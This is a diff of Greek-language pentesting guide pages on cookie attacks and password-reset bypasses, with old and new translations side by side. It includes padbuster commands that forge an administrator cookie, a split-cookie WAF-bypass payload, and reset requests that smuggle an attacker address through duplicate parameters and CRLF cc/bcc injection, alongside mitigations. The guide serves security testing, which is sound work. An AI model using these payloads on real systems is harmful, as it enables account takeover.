|
||||
|
||||
#### Bypassing cookie-name blocklists
|
||||
|
||||
Στο RFC2109 αναφέρεται ότι μια **κόμμα μπορεί να χρησιμοποιηθεί ως διαχωριστικό μεταξύ των τιμών των cookies**. Επίσης, είναι δυνατό να προστεθούν **κενά και ταμπς πριν και μετά το ίσον**. Επομένως, ένα cookie όπως `$Version=1; foo=bar, abc = qux` δεν παράγει το cookie `"foo":"bar, admin = qux"` αλλά τα cookies `foo":"bar"` και `"admin":"qux"`. Παρατηρήστε πώς παράγονται 2 cookies και πώς το admin έχει αφαιρεθεί το κενό πριν και μετά το ίσον.
|
||||
Στο RFC2109 αναφέρεται ότι ένα **comma can be used as a separator between cookie values**. Και επίσης είναι δυνατό να προστεθούν **spaces and tabs before an after the equal sign**. Επομένως ένα cookie όπως `$Version=1; foo=bar, abc = qux` δεν παράγει το cookie `"foo":"bar, admin = qux"` αλλά τα cookies `foo":"bar"` και `"admin":"qux"`. Παρατηρήστε πώς δημιουργούνται 2 cookies και πώς το admin έχασε το κενό πριν και μετά το σύμβολο ίσον.
|
||||
|
||||
#### Bypassing value analysis with cookie splitting
|
||||
|
||||
Τέλος, διάφορες πίσω πόρτες θα συνδυάζουν σε μια συμβολοσειρά διαφορετικά cookies που έχουν περάσει σε διαφορετικούς κεφαλίδες cookies όπως σε:
|
||||
Τέλος, διάφορα backdoors θα ενώσουν σε ένα string διαφορετικά cookies που περάστηκαν σε διαφορετικά cookie headers όπως στο:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
Cookie: param1=value1;
|
||||
Cookie: param2=value2;
|
||||
```
|
||||
Ποιο θα μπορούσε να επιτρέψει την παράκαμψη ενός WAF όπως σε αυτό το παράδειγμα:
|
||||
Το οποίο θα μπορούσε να επιτρέψει την παράκαμψη ενός WAF όπως στο παρακάτω παράδειγμα:
|
||||
```
|
||||
Cookie: name=eval('test//
|
||||
Cookie: comment')
|
||||
|
||||
Resulting cookie: name=eval('test//, comment') => allowed
|
||||
```
|
||||
### Έλεγχοι για Εξαιρετικά Ευάλωτα Cookies
|
||||
### Επιπλέον Έλεγχοι Ευάλωτων Cookies
|
||||
|
||||
#### **Βασικοί έλεγχοι**
|
||||
|
||||
- Το **cookie** είναι το **ίδιο** κάθε φορά που **συνδέεστε**.
|
||||
- Αποσυνδεθείτε και προσπαθήστε να χρησιμοποιήσετε το ίδιο cookie.
|
||||
- Προσπαθήστε να συνδεθείτε με 2 συσκευές (ή προγράμματα περιήγησης) στον ίδιο λογαριασμό χρησιμοποιώντας το ίδιο cookie.
|
||||
- Ελέγξτε αν το cookie έχει οποιαδήποτε πληροφορία μέσα του και προσπαθήστε να το τροποποιήσετε.
|
||||
- Προσπαθήστε να δημιουργήσετε αρκετούς λογαριασμούς με σχεδόν το ίδιο όνομα χρήστη και ελέγξτε αν μπορείτε να δείτε ομοιότητες.
|
||||
- Ελέγξτε την επιλογή "**remember me**" αν υπάρχει για να δείτε πώς λειτουργεί. Αν υπάρχει και μπορεί να είναι ευάλωτη, χρησιμοποιήστε πάντα το cookie του **remember me** χωρίς κανένα άλλο cookie.
|
||||
- Ελέγξτε αν το προηγούμενο cookie λειτουργεί ακόμα και μετά την αλλαγή του κωδικού.
|
||||
- Το **cookie** είναι το **ίδιο** κάθε φορά που κάνετε **login**.
|
||||
- Log out και δοκιμάστε να χρησιμοποιήσετε το ίδιο cookie.
|
||||
- Προσπαθήστε να κάνετε login με 2 συσκευές (ή browsers) στον ίδιο λογαριασμό χρησιμοποιώντας το ίδιο cookie.
|
||||
- Ελέγξτε αν το cookie περιέχει οποιαδήποτε πληροφορία και δοκιμάστε να την τροποποιήσετε.
|
||||
- Προσπαθήστε να δημιουργήσετε πολλούς accounts με σχεδόν ίδιο username και δείτε αν μπορείτε να εντοπίσετε ομοιότητες.
|
||||
- Ελέγξτε την επιλογή «**remember me**» αν υπάρχει για να δείτε πώς λειτουργεί. Αν υπάρχει και μπορεί να είναι ευάλωτη, χρησιμοποιήστε πάντα το cookie του **remember me** χωρίς κανένα άλλο cookie.
|
||||
- Ελέγξτε αν το προηγούμενο cookie λειτουργεί ακόμα και μετά την αλλαγή του password.
|
||||
|
||||
#### **Προχωρημένες επιθέσεις σε cookies**
|
||||
|
||||
Αν το cookie παραμένει το ίδιο (ή σχεδόν) όταν συνδέεστε, αυτό πιθανώς σημαίνει ότι το cookie σχετίζεται με κάποιο πεδίο του λογαριασμού σας (πιθανώς το όνομα χρήστη). Τότε μπορείτε να:
|
||||
Αν το cookie παραμένει το ίδιο (ή σχεδόν) όταν κάνετε log in, αυτό πιθανότατα σημαίνει ότι το cookie σχετίζεται με κάποιο πεδίο του λογαριασμού σας (πιθανώς το username). Τότε μπορείτε:
|
||||
|
||||
- Προσπαθήσετε να δημιουργήσετε πολλούς **λογαριασμούς** με ονόματα χρήστη πολύ **παρόμοια** και να προσπαθήσετε να **μαντέψετε** πώς λειτουργεί ο αλγόριθμος.
|
||||
- Προσπαθήστε να **bruteforce το όνομα χρήστη**. Αν το cookie αποθηκεύεται μόνο ως μέθοδος αυθεντικοποίησης για το όνομα χρήστη σας, τότε μπορείτε να δημιουργήσετε έναν λογαριασμό με το όνομα χρήστη "**Bmin**" και να **bruteforce** κάθε **bit** του cookie σας γιατί ένα από τα cookies που θα δοκιμάσετε θα είναι αυτό που ανήκει στον "**admin**".
|
||||
- Προσπαθήστε **Padding** **Oracle** (μπορείτε να αποκρυπτογραφήσετε το περιεχόμενο του cookie). Χρησιμοποιήστε **padbuster**.
|
||||
- Προσπαθήστε να δημιουργήσετε πολλούς **accounts** με πολύ **παρόμοια** usernames και δοκιμάστε να **μαντέψετε** πώς λειτουργεί ο αλγόριθμος.
|
||||
- Προσπαθήστε να **bruteforce the username**. Αν το cookie αποθηκεύεται μόνο ως μέθοδος authentication για το username σας, τότε μπορείτε να δημιουργήσετε έναν account με username "**Bmin**" και να **bruteforce** κάθε μεμονωμένο **bit** του cookie σας επειδή ένα από τα cookies που θα δοκιμάσετε θα είναι αυτό που ανήκει στον "**admin**".
|
||||
- Δοκιμάστε **Padding** **Oracle** (μπορείτε να αποκρυπτογραφήσετε το περιεχόμενο του cookie). Χρησιμοποιήστε **padbuster**.
|
||||
|
||||
**Padding Oracle - Παραδείγματα Padbuster**
|
||||
**Padding Oracle - Padbuster παραδείγματα**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
@ -270,43 +278,46 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
||||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Το Padbuster θα κάνει αρκετές προσπάθειες και θα σας ρωτήσει ποια είναι η συνθήκη σφάλματος (αυτή που δεν είναι έγκυρη).
|
||||
Padbuster θα κάνει αρκετές προσπάθειες και θα σας ρωτήσει ποια κατάσταση είναι η κατάσταση σφάλματος (η οποία δεν είναι έγκυρη).
|
||||
|
||||
Στη συνέχεια, θα ξεκινήσει την αποκρυπτογράφηση του cookie (μπορεί να διαρκέσει αρκετά λεπτά).
|
||||
Στη συνέχεια θα ξεκινήσει το decrypting του cookie (μπορεί να χρειαστεί μερικά λεπτά)
|
||||
|
||||
Εάν η επίθεση έχει εκτελεστεί επιτυχώς, τότε μπορείτε να προσπαθήσετε να κρυπτογραφήσετε μια συμβολοσειρά της επιλογής σας. Για παράδειγμα, αν θέλετε να **κρυπτογραφήσετε** **user=administrator**.
|
||||
Αν η attack έχει εκτελεστεί με επιτυχία, τότε μπορείτε να δοκιμάσετε να encrypt μια συμβολοσειρά της επιλογής σας. Για παράδειγμα, αν θέλετε να **encrypt** **user=administrator**
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
Αυτή η εκτέλεση θα σας δώσει το cookie σωστά κρυπτογραφημένο και κωδικοποιημένο με τη συμβολοσειρά **user=administrator** μέσα.
|
||||
Αυτή η εκτέλεση θα σου δώσει το cookie σωστά κρυπτογραφημένο και κωδικοποιημένο με τη συμβολοσειρά **user=administrator** μέσα.
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
Ίσως ένα cookie να έχει κάποια τιμή και να μπορεί να υπογραφεί χρησιμοποιώντας CBC. Τότε, η ακεραιότητα της τιμής είναι η υπογραφή που δημιουργείται χρησιμοποιώντας CBC με την ίδια τιμή. Καθώς συνιστάται να χρησιμοποιείται ως IV ένα μηδενικό διάνυσμα, αυτός ο τύπος ελέγχου ακεραιότητας θα μπορούσε να είναι ευάλωτος.
|
||||
Μπορεί ένα cookie να έχει κάποια τιμή και να υπογράφεται χρησιμοποιώντας CBC. Τότε, η ακεραιότητα της τιμής είναι η υπογραφή που δημιουργείται με χρήση CBC πάνω στην ίδια την τιμή. Δεδομένου ότι συνιστάται να χρησιμοποιείται ως IV ένα μηδενικό διάνυσμα, αυτός ο τύπος ελέγχου ακεραιότητας μπορεί να είναι ευάλωτος.
|
||||
|
||||
**Η επίθεση**
|
||||
**The attack**
|
||||
|
||||
1. Πάρτε την υπογραφή του ονόματος χρήστη **administ** = **t**
|
||||
2. Πάρτε την υπογραφή του ονόματος χρήστη **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Ορίστε στο cookie την τιμή **administrator+t'** (**t'** θα είναι μια έγκυρη υπογραφή του **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
1. Πάρε την υπογραφή για το username **administ** = **t**
|
||||
2. Πάρε την υπογραφή για το username **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Θέσε στο cookie την τιμή **administrator+t'** (**t'** θα είναι μια έγκυρη υπογραφή του **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**)
|
||||
|
||||
**ECB**
|
||||
|
||||
Εάν το cookie είναι κρυπτογραφημένο χρησιμοποιώντας ECB, θα μπορούσε να είναι ευάλωτο.\
|
||||
Όταν συνδεθείτε, το cookie που λαμβάνετε πρέπει πάντα να είναι το ίδιο.
|
||||
If the cookie is encrypted using ECB it could be vulnerable.\
|
||||
Όταν συνδέεσαι το cookie που λαμβάνεις πρέπει να είναι πάντα το ίδιο.
|
||||
|
||||
**Πώς να ανιχνεύσετε και να επιτεθείτε:**
|
||||
How to detect and attack:
|
||||
|
||||
Δημιουργήστε 2 χρήστες με σχεδόν τα ίδια δεδομένα (όνομα χρήστη, κωδικό, email, κ.λπ.) και προσπαθήστε να ανακαλύψετε κάποιο μοτίβο μέσα στο δεδομένο cookie.
|
||||
Δημιούργησε 2 users με σχεδόν τα ίδια δεδομένα (username, password, email, etc.) και προσπάθησε να ανακαλύψεις κάποιο μοτίβο μέσα στο δοθέν cookie
|
||||
|
||||
Δημιουργήστε έναν χρήστη που ονομάζεται για παράδειγμα "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" και ελέγξτε αν υπάρχει κάποιο μοτίβο στο cookie (καθώς το ECB κρυπτογραφεί με το ίδιο κλειδί κάθε μπλοκ, τα ίδια κρυπτογραφημένα bytes θα μπορούσαν να εμφανιστούν αν το όνομα χρήστη είναι κρυπτογραφημένο).
|
||||
Δημιούργησε έναν user με όνομα για παράδειγμα "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" και έλεγξε αν υπάρχει κάποιο μοτίβο στο cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).
|
||||
|
||||
Θα πρέπει να υπάρχει ένα μοτίβο (με το μέγεθος ενός χρησιμοποιούμενου μπλοκ). Έτσι, γνωρίζοντας πώς είναι κρυπτογραφημένα μια σειρά από "a", μπορείτε να δημιουργήσετε ένα όνομα χρήστη: "a"\*(μέγεθος του μπλοκ)+"admin". Στη συνέχεια, θα μπορούσατε να διαγράψετε το κρυπτογραφημένο μοτίβο ενός μπλοκ από "a" από το cookie. Και θα έχετε το cookie του ονόματος χρήστη "admin".
|
||||
Θα πρέπει να υπάρχει ένα μοτίβο (με το μέγεθος του used block). So, knowing how are a bunch of "a" encrypted you can create a username: "a"\*(size of the block)+"admin". Έπειτα, μπορείς να διαγράψεις το κρυπτογραφημένο μοτίβο ενός block από "a" από το cookie. Και θα έχεις το cookie του username "admin".
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
|
||||
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
|
||||
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
|
||||
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,31 +1,31 @@
|
||||
# Επαναφορά/Ξεχασμένος Κωδικός Πρόσβασης Bypass
|
||||
# Reset/Forgotten Password Bypass
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Διαρροή Token Επαναφοράς Κωδικού μέσω Referrer**
|
||||
## **Password Reset Token leak Via Referrer**
|
||||
|
||||
- Ο HTTP referer header μπορεί να διαρρεύσει το token επαναφοράς κωδικού αν περιλαμβάνεται στη διεύθυνση URL. Αυτό μπορεί να συμβεί όταν ένας χρήστης κάνει κλικ σε σύνδεσμο τρίτου μέρους μετά από αίτημα επαναφοράς κωδικού.
|
||||
- **Επίπτωση**: Πιθανή κατάληψη λογαριασμού μέσω επιθέσεων Cross-Site Request Forgery (CSRF).
|
||||
- **Εκμετάλλευση**: Για να ελέγξετε αν ένα token επαναφοράς κωδικού διαρρέει στον referer header, **ζητήστε μια επαναφορά κωδικού** στη διεύθυνση email σας και **κάντε κλικ στον σύνδεσμο επαναφοράς** που παρέχεται. **Μην αλλάξετε τον κωδικό σας** αμέσως. Αντίθετα, **μεταβείτε σε έναν ιστότοπο τρίτου μέρους** (όπως το Facebook ή το Twitter) ενώ **παρεμβάλλετε τα αιτήματα χρησιμοποιώντας το Burp Suite**. Εξετάστε τα αιτήματα για να δείτε αν ο **referer header περιέχει το token επαναφοράς κωδικού**, καθώς αυτό θα μπορούσε να εκθέσει ευαίσθητες πληροφορίες σε τρίτους.
|
||||
- **Αναφορές**:
|
||||
- Το HTTP referer header μπορεί να leak το password reset token αν συμπεριλαμβάνεται στο URL. Αυτό μπορεί να συμβεί όταν ένας χρήστης κάνει κλικ σε σύνδεσμο μιας ιστοσελίδας τρίτου μέρους αφού ζητήσει επαναφορά κωδικού.
|
||||
- **Impact**: Δυνατή ανάληψη λογαριασμού μέσω Cross-Site Request Forgery (CSRF) attacks.
|
||||
- **Exploitation**: Για να ελέγξετε αν ένα password reset token leak στον referer header, **ζητήστε επαναφορά κωδικού** στο email σας και **κάντε κλικ στο reset link** που αποστέλλεται. **Μην αλλάξετε τον κωδικό σας** άμεσα. Αντίθετα, **μεταβείτε σε μια ιστοσελίδα τρίτου μέρους** (π.χ. Facebook ή Twitter) ενώ **αναχαιτίζετε τα requests με Burp Suite**. Ελέγξτε τα requests για να δείτε αν ο **referer header περιέχει το password reset token**, καθώς αυτό μπορεί να εκθέσει ευαίσθητες πληροφορίες σε τρίτους.
|
||||
- **References**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Άρθρο Διαρροής Token Επαναφοράς Κωδικού](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Δηλητηρίαση Επαναφοράς Κωδικού**
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- Οι επιτιθέμενοι μπορεί να χειριστούν τον Host header κατά τη διάρκεια αιτημάτων επαναφοράς κωδικού για να κατευθύνουν τον σύνδεσμο επαναφοράς σε κακόβουλο ιστότοπο.
|
||||
- **Επίπτωση**: Οδηγεί σε πιθανή κατάληψη λογαριασμού διαρρέοντας τα tokens επαναφοράς στους επιτιθέμενους.
|
||||
- **Βήματα Μείωσης**:
|
||||
- Επικυρώστε τον Host header έναντι μιας λευκής λίστας επιτρεπόμενων τομέων.
|
||||
- Χρησιμοποιήστε ασφαλείς, server-side μεθόδους για να δημιουργήσετε απόλυτες διευθύνσεις URL.
|
||||
- **Διόρθωση**: Χρησιμοποιήστε `$_SERVER['SERVER_NAME']` για να κατασκευάσετε διευθύνσεις URL επαναφοράς κωδικού αντί για `$_SERVER['HTTP_HOST']`.
|
||||
- **Αναφορές**:
|
||||
- [Άρθρο Acunetix για τη Δηλητηρίαση Επαναφοράς Κωδικού](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
- Οι επιτιθέμενοι μπορούν να χειριστούν το Host header κατά τα password reset requests για να δείξουν το reset link σε κακόβουλο site.
|
||||
- **Impact**: Οδηγεί σε πιθανή ανάληψη λογαριασμού με το leak των reset tokens στους επιτιθέμενους.
|
||||
- **Mitigation Steps**:
|
||||
- Επικυρώστε το Host header έναντι μιας whitelist επιτρεπόμενων domains.
|
||||
- Χρησιμοποιήστε ασφαλείς, server-side μεθόδους για να δημιουργείτε absolute URLs.
|
||||
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
||||
- **References**:
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Επαναφορά Κωδικού με Χειρισμό Παραμέτρου Email**
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
|
||||
Οι επιτιθέμενοι μπορούν να χειριστούν το αίτημα επαναφοράς κωδικού προσθέτοντας επιπλέον παραμέτρους email για να αποσπάσουν τον σύνδεσμο επαναφοράς.
|
||||
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
|
||||
|
||||
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας &
|
||||
```php
|
||||
@ -33,145 +33,146 @@ POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας %20
|
||||
- Πρόσθεσε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας |
|
||||
- Προσθέστε το email του επιτιθέμενου ως δεύτερο παράμετρο χρησιμοποιώντας |
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας cc
|
||||
- Προσθέστε το attacker e-mail ως δεύτερη παράμετρο χρησιμοποιώντας cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας bcc
|
||||
- Προσθέστε το attacker email ως δεύτερη παράμετρο χρησιμοποιώντας bcc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας ,
|
||||
- Προσθέστε attacker email ως δεύτερη παράμετρο χρησιμοποιώντας ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο στο json array
|
||||
- Πρόσθεσε το attacker email ως δεύτερη παράμετρο στο json array
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **Βήματα Μείωσης**:
|
||||
- Κατάλληλη ανάλυση και επικύρωση παραμέτρων email από τον server.
|
||||
- Χρήση προετοιμασμένων δηλώσεων ή παραμετροποιημένων ερωτημάτων για την αποφυγή επιθέσεων injection.
|
||||
- **Μέτρα μετριασμού**:
|
||||
- Αναλύστε και επικυρώστε σωστά τις παραμέτρους email στο server.
|
||||
- Χρησιμοποιήστε prepared statements ή parameterized queries για να αποτρέψετε injection attacks.
|
||||
- **Αναφορές**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Αλλαγή Email και Κωδικού πρόσβασης οποιουδήποτε Χρήστη μέσω Παραμέτρων API**
|
||||
## **Αλλαγή Email και Password οποιουδήποτε χρήστη μέσω API Parameters**
|
||||
|
||||
- Οι επιτιθέμενοι μπορούν να τροποποιήσουν τις παραμέτρους email και κωδικού πρόσβασης σε αιτήματα API για να αλλάξουν τα διαπιστευτήρια του λογαριασμού.
|
||||
- Οι επιτιθέμενοι μπορούν να τροποποιήσουν τις παραμέτρους email και password στις API requests για να αλλάξουν τα credentials του λογαριασμού.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Βήματα Ελάφρυνσης**:
|
||||
- Διασφαλίστε αυστηρή επικύρωση παραμέτρων και ελέγχους ταυτοποίησης.
|
||||
- Εφαρμόστε ισχυρή καταγραφή και παρακολούθηση για να ανιχνεύσετε και να αντιδράσετε σε ύποπτες δραστηριότητες.
|
||||
- **Μέτρα αντιμετώπισης**:
|
||||
- Εξασφαλίστε αυστηρό έλεγχο παραμέτρων και επαλήθευση ταυτότητας.
|
||||
- Εφαρμόστε αξιόπιστη καταγραφή και παρακολούθηση για να εντοπίζετε και να ανταποκρίνεστε σε ύποπτες ενέργειες.
|
||||
- **Αναφορά**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Χωρίς Περιορισμό Ρυθμού: Email Bombing**
|
||||
## **Χωρίς Rate Limiting: Email Bombing**
|
||||
|
||||
- Η έλλειψη περιορισμού ρυθμού στις αιτήσεις επαναφοράς κωδικού πρόσβασης μπορεί να οδηγήσει σε email bombing, κατακλύζοντας τον χρήστη με email επαναφοράς.
|
||||
- **Βήματα Ελάφρυνσης**:
|
||||
- Εφαρμόστε περιορισμό ρυθμού με βάση τη διεύθυνση IP ή τον λογαριασμό χρήστη.
|
||||
- Χρησιμοποιήστε προκλήσεις CAPTCHA για να αποτρέψετε την αυτοματοποιημένη κακοποίηση.
|
||||
- Η έλλειψη rate limiting για τα αιτήματα επαναφοράς κωδικού μπορεί να οδηγήσει σε email bombing, κατακλύζοντας τον χρήστη με μηνύματα επαναφοράς.
|
||||
- **Μέτρα αντιμετώπισης**:
|
||||
- Εφαρμόστε rate limiting με βάση τη διεύθυνση IP ή τον λογαριασμό χρήστη.
|
||||
- Χρησιμοποιήστε CAPTCHA για να αποτρέψετε την αυτοματοποιημένη κατάχρηση.
|
||||
- **Αναφορές**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Ανακαλύψτε Πώς Δημιουργείται το Token Επαναφοράς Κωδικού**
|
||||
## **Μάθετε πώς δημιουργείται το password reset token**
|
||||
|
||||
- Η κατανόηση του προτύπου ή της μεθόδου πίσω από τη δημιουργία token μπορεί να οδηγήσει στην πρόβλεψη ή την βίαιη δοκιμή tokens. Ορισμένες επιλογές:
|
||||
- Βασισμένο σε Χρονική Σημείωση
|
||||
- Η κατανόηση του μοτίβου ή της μεθόδου πίσω από τη δημιουργία token μπορεί να οδηγήσει στην πρόβλεψη ή brute-forcing των token. Κάποιες επιλογές:
|
||||
- Βασισμένο σε Timestamp
|
||||
- Βασισμένο στο UserID
|
||||
- Βασισμένο στο email του Χρήστη
|
||||
- Βασισμένο στο Όνομα και Επώνυμο
|
||||
- Βασισμένο στο email του χρήστη
|
||||
- Βασισμένο στο όνομα και επίθετο
|
||||
- Βασισμένο στην Ημερομηνία Γέννησης
|
||||
- Βασισμένο στην Κρυπτογραφία
|
||||
- **Βήματα Ελάφρυνσης**:
|
||||
- Βασισμένο σε κρυπτογραφία
|
||||
- **Μέτρα αντιμετώπισης**:
|
||||
- Χρησιμοποιήστε ισχυρές, κρυπτογραφικές μεθόδους για τη δημιουργία token.
|
||||
- Διασφαλίστε επαρκή τυχαιότητα και μήκος για να αποτρέψετε την προβλεψιμότητα.
|
||||
- **Εργαλεία**: Χρησιμοποιήστε το Burp Sequencer για να αναλύσετε την τυχαιότητα των tokens.
|
||||
- Εξασφαλίστε επαρκή τυχαιότητα και μήκος για να αποτρέψετε την προβλεψιμότητα.
|
||||
- **Εργαλεία**: Χρησιμοποιήστε Burp Sequencer για να αναλύσετε την τυχαιότητα των token.
|
||||
|
||||
## **Μαντεύσιμο UUID**
|
||||
## **Μαντέψιμα UUID**
|
||||
|
||||
- Εάν τα UUIDs (version 1) είναι μαντέψιμα ή προβλέψιμα, οι επιτιθέμενοι μπορεί να τα brute-force για να δημιουργήσουν έγκυρα reset tokens. Ελέγξτε:
|
||||
|
||||
- Εάν τα UUIDs (έκδοση 1) είναι μαντεύσιμα ή προβλέψιμα, οι επιτιθέμενοι μπορεί να τα δοκιμάσουν βίαια για να δημιουργήσουν έγκυρα tokens επαναφοράς. Ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Βήματα Ελάφρυνσης**:
|
||||
- Χρησιμοποιήστε GUID έκδοσης 4 για τυχαιότητα ή εφαρμόστε επιπλέον μέτρα ασφαλείας για άλλες εκδόσεις.
|
||||
- **Εργαλεία**: Χρησιμοποιήστε [guidtool](https://github.com/intruder-io/guidtool) για την ανάλυση και τη δημιουργία GUIDs.
|
||||
- **Μέτρα αντιμετώπισης**:
|
||||
- Χρησιμοποιήστε GUID version 4 για τυχαιότητα ή εφαρμόστε επιπλέον μέτρα ασφάλειας για άλλες εκδόσεις.
|
||||
- **Εργαλεία**: Χρησιμοποιήστε [guidtool](https://github.com/intruder-io/guidtool) για την ανάλυση και δημιουργία GUIDs.
|
||||
|
||||
## **Manipulation Response: Αντικατάσταση Κακής Απόκρισης με Καλή**
|
||||
## **Response Manipulation: Αντικατάσταση Κακής Απόκρισης με Καλή**
|
||||
|
||||
- Χειραγώγηση των HTTP απαντήσεων για να παρακαμφθούν τα μηνύματα σφάλματος ή οι περιορισμοί.
|
||||
- **Βήματα Ελάφρυνσης**:
|
||||
- Εφαρμόστε ελέγχους από την πλευρά του διακομιστή για να διασφαλίσετε την ακεραιότητα της απόκρισης.
|
||||
- Χρησιμοποιήστε ασφαλείς επικοινωνιακούς διαύλους όπως το HTTPS για να αποτρέψετε επιθέσεις man-in-the-middle.
|
||||
- Χειραγώγηση HTTP responses για να παρακάμψετε μηνύματα σφάλματος ή περιορισμούς.
|
||||
- **Μέτρα αντιμετώπισης**:
|
||||
- Εφαρμόστε server-side ελέγχους για να διασφαλίσετε την ακεραιότητα των αποκρίσεων.
|
||||
- Χρησιμοποιήστε ασφαλή κανάλια επικοινωνίας όπως HTTPS για να αποτρέψετε man-in-the-middle attacks.
|
||||
- **Αναφορά**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Χρήση Εξαφανισμένου Token**
|
||||
## **Χρήση Ληγμένου Token**
|
||||
|
||||
- Δοκιμή αν τα εξαφανισμένα tokens μπορούν ακόμα να χρησιμοποιηθούν για επαναφορά κωδικού.
|
||||
- **Βήματα Ελάφρυνσης**:
|
||||
